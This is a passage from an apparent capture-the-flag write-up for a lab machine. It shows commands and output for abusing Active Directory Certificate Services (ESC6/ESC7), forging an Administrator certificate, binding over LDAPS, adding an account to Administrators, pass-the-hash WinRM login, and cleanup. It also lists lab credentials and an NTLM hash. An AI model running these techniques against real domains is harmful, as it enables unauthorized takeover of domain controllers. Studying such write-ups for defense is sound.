[!] Conflicting SIDs found in certificate:
[!] SAN URL: 'S-1-5-21-858338346-3861030516-3975240472-500'
[!] Security Extension: 'S-1-5-21-858338346-3861030516-3975240472-3601'
[!] Windows will use the security extension SID for authentication purposes
[*] Saving certificate and private key to 'administrator.pfx'

Ordinary PKINIT failed. This was an important decision point.

Terminal window
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username Administrator \
-domain fries.htb
[*] Certificate identities:
[*] SAN UPN: 'administrator@fries.htb'
[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Security Extension SID: 'S-1-5-21-858338346-3861030516-3975240472-3601'
[-] Object SID mismatch between certificate and user 'administrator'

Trying to use it as svc_infra instead produced a UPN mismatch.

Terminal window
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username svc_infra \
-domain fries.htb
[-] Name mismatch between certificate and user 'svc_infra'

The cause was that the certificate contained two different SIDs.

SAN UPN: administrator@fries.htb
SAN URL SID: ...-500 # Administrator
Security Extension SID: ...-3601 # svc_infra

In Kerberos PKINIT, the KDC strictly evaluated the Security Extension SID, so this PFX could not obtain an Administrator TGT.

The same PFX succeeded with -ldap-shell.

Terminal window
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username Administrator \
-domain fries.htb \
-ldap-shell
[*] Connecting to 'ldaps://192.168.100.1:636'
[*] Authenticated to '192.168.100.1' as: 'u:FRIES\\Administrator'
Type help for list of commands
# whoami
u:FRIES\Administrator

Ordinary certipy-ad auth requests a TGT from the KDC through Kerberos PKINIT, while -ldap-shell uses LDAPS Schannel client certificate authentication. In this environment, the LDAPS certificate mapping followed the Administrator SAN UPN / SAN URL SID, allowing a bind as FRIES\Administrator. This did not yield a TGT or NT hash, but the Administrator LDAP bind permitted changes to AD objects.

This distinction matters in practice. A PFX bundles a certificate and private key, but Kerberos PKINIT and LDAPS Schannel client certificate binding are evaluated by different components and mapping rules. PKINIT is a KDC operation that issues a TGT and strictly checks SID consistency; LDAPS binding is handled by the LDAP server’s certificate mapping. Only the latter worked as Administrator here.

I checked the group first.

# get_user_groups administrator
CN=Administrators,CN=Builtin,DC=fries,DC=htb
CN=Schema Admins,CN=Users,DC=fries,DC=htb
CN=Enterprise Admins,CN=Users,DC=fries,DC=htb
CN=Domain Admins,CN=Users,DC=fries,DC=htb
CN=Group Policy Creator Owners,CN=Users,DC=fries,DC=htb
# get_user_groups gMSA_CA_prod$
CN=Remote Management Users,CN=Builtin,DC=fries,DC=htb

Because Administrator is a username, using it as the group name failed.

# add_user_to_group svc_infra Administrator
LDAPObjectClassViolationResult - 65 - objectClassViolation

I correctly added gMSA_CA_prod$ to Administrators. gMSA_CA_prod$ was already in Remote Management Users, making WinRM access straightforward.

# add_user_to_group gMSA_CA_prod$ Administrators
Adding user: gMSA_CA_prod to group Administrators result: OK
# get_user_groups gMSA_CA_prod$
CN=Administrators,CN=Builtin,DC=fries,DC=htb
CN=Remote Management Users,CN=Builtin,DC=fries,DC=htb

Existing WinRM sessions do not inherit new group membership, so I logged in again.

Terminal window
uv run evil-winrm-py \
-i 192.168.100.1 \
-u 'gMSA_CA_prod$' \
-H 5710cd97225e920cdc6badc919fc8c51

I checked the privileges.

Terminal window
whoami /priv
cd ../../Administrator
dir
cd Desktop
dir
type root.txt
SeDebugPrivilege Debug programs Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
Directory: C:\Users\Administrator\Desktop
root.txt
user.txt
[REDACTED]

The initial credentials failed for AD, SMB, SSH, and WinRM. I treated them as web application credentials because they worked only for Gitea and pgAdmin.

Friesf00Ds2025!! failed over SMB and worked only for svc over SSH. The pgAdmin container’s default password had been reused for an Ubuntu local user.

A Docker client certificate with CN=pwn.com passed TLS but failed to match the authz-broker policy. Reading policy.json and recreating it with CN=root was necessary.

With MachineAccountQuota: 0, creating an arbitrary machine account for the Machine template did not work.

The ordinary ESC7 SubCA issuance path stalled. gMSA_CA_prod$ held ManageCa and could add an officer and enable SubCA, but issuing or resubmitting the denied request returned Access denied. The CA ACL had a Deny on ManageCertificates, which blocked the path in practice.

After ESC6, administrator.pfx was issued, but Kerberos PKINIT returned Object SID mismatch because the Security Extension SID belonged to svc_infra. The success was an LDAP bind through LDAPS Schannel, not a TGT.

The LDAP shell command add_user_to_group svc_infra Administrator failed because Administrator resolved to a user, not a group. The correct group was Administrators.

To restore the CA settings, disable EDITF_ATTRIBUTESUBJECTALTNAME2 and restart certsvc.

Terminal window
$ConfigString = "DC01.fries.htb\fries-DC01-CA"
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
$CertAdmin.SetConfigEntry(
$ConfigString,
$Node,
"EditFlags",
($Flags -band (-bnot $EDITF_ATTRIBUTESUBJECTALTNAME2))
)
Restart-Service certsvc

Remove the added group membership.

Terminal window
Remove-ADGroupMember -Identity "Administrators" -Members "gMSA_CA_prod$" -Confirm:$false

Clean up the attacking machine’s NFS mount and temporary files.

Terminal window
sudo umount /mnt/fries
rm -f client-key.pem client.csr client-cert.pem ca.pem ca-key.pem ca.srl administrator.pfx 43.key
rm -rf certs

If time synchronization was stopped, restore it.

Terminal window
sudo systemctl start systemd-timesyncd

Stop the Ligolo agent and proxy, and remove the created tun interface.

Terminal window
sudo ip link delete ligolo
ArtifactValue
Initial Web Credentiald.cooper@fries.htb:D4LE11maan!!
PostgreSQL URLpostgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
pgAdmin Default PasswordFriesf00Ds2025!!
SSH Credentialsvc:Friesf00Ds2025!!
PWM Config Passwordrockon!
LDAP Proxy Credentialsvc_infra:m6tneOMAh5p0wQ0d
gMSA HashgMSA_CA_prod$:5710cd97225e920cdc6badc919fc8c51
CAfries-DC01-CA
Generated Certificateadministrator.pfx
Docker CA Filesca.pem, ca-key.pem
User Flag Path/root/user.txt on Ubuntu host mount
Root Flag PathC:\Users\Administrator\Desktop\root.txt

How to recover a deleted file from Git history.

The basic steps for pgAdmin authenticated RCE and inspecting environment variables or configuration files inside a container.

Internal routing with Ligolo-ng and specifying internal IPs in a NAT environment.

NFS UID/GID permissions and SSSD resolution of an AD group to a Linux GID.

The relationship among Docker daemon mTLS, client certificate CNs, and authorization plugin policies.

PWM configuration format, bcrypt hash cracking, and AES decryption of ENC-PW:.

Finding ReadGMSAPassword with BloodHound/RustHound and extracting a gMSA NTLM hash with NetExec.

AD CS ESC7, ESC6, EDITF_ATTRIBUTESUBJECTALTNAME2, CA service restarts, and template Enroll rights.

Strong certificate mapping after KB5014754 and the difference between Kerberos PKINIT and LDAPS Schannel client certificate authentication.

Fries was not a box solved by finding one vulnerability; it required accumulating rights and information across several administrative boundaries. On the external IP, Ubuntu and Windows DC services appeared together, making the setup easy to misread. The starting credentials also failed for AD and worked only in Gitea and pgAdmin. That made it important to distinguish which authentication system accepted a given set of credentials.

The path to the user flag moved from the web application to a container, then the host, then the internal network. Gitea’s historical .env, pgAdmin authenticated RCE, container environment password reuse, NFS UID/GID permissions, and Docker mTLS and authorization plugins were each a small, separate weakness. Together, they led to root on Ubuntu. In particular, obtaining the Docker CA private key alone was insufficient: I also had to read the authz-broker policy and create a certificate with CN=root. Missing the separation between authentication and authorization would have stopped the path there.

The root flag path centered on AD CS, but it did not end with a simple ESC7 exploit. gMSA_CA_prod$’s ManageCa looked powerful, yet template Enroll rights, a Deny in the CA ACL, request disposition, and the actual evaluation of manager/officer operations all mattered. Enabling SubCA and creating a denied request was possible, but issue/resubmit returned Access denied, so the usual ESC7 procedure failed. Certipy’s Vulnerabilities: ESC7 was a strong indicator of a possible attack, not a guarantee that the wiki procedure would work to completion.

The eventual breakthrough was using ManageCa to enable EDITF_ATTRIBUTESUBJECTALTNAME2 in the CA policy, creating an ESC6-like state. Even here, certutil -setreg failed for lack of administrator rights, while SetConfigEntry through the CertificateAuthority.Admin COM object worked. Windows management operations can require different permissions and behave differently depending on the API and execution context. Recording which tool makes a given change helps when reproducing the path.

The most interesting point was how administrator.pfx behaved. The certificate was issued with Administrator in the SAN UPN and SAN URL SID, but the Security Extension SID contained the requester’s svc_infra SID. The KDC therefore rejected Kerberos PKINIT with a SID mismatch. This was a correct sign that strong certificate mapping was enforced, not merely an unexplained failure. Yet certipy-ad auth -ldap-shell used LDAPS Schannel client certificate authentication and could bind as Administrator here. The same PFX was evaluated by different components and mapping rules in PKINIT and LDAPS Schannel; that distinction is central to this box.

Finally, I used Administrator rights from the LDAP bind to add gMSA_CA_prod$ to Administrators and had to log in again through WinRM. The existing session did not receive the new group membership; the procedure included a new token after login. Names such as Administrator and Administrators are also easy to confuse, so in LDAP shell check whether a target resolves to a user or group.

Overall, Fries was about interpreting enumeration results. Git history, environment variables, numeric NFS GIDs, Docker policy, BloodHound edges, Certipy CA/template output, and SID mismatch errors each informed the next decision. Although the chain was long, it can be reproduced by carefully following how each artifact leads to the next step. Treating errors as mere failures would make it easy to lose direction at the ESC7 Access denied or PKINIT Object SID mismatch points.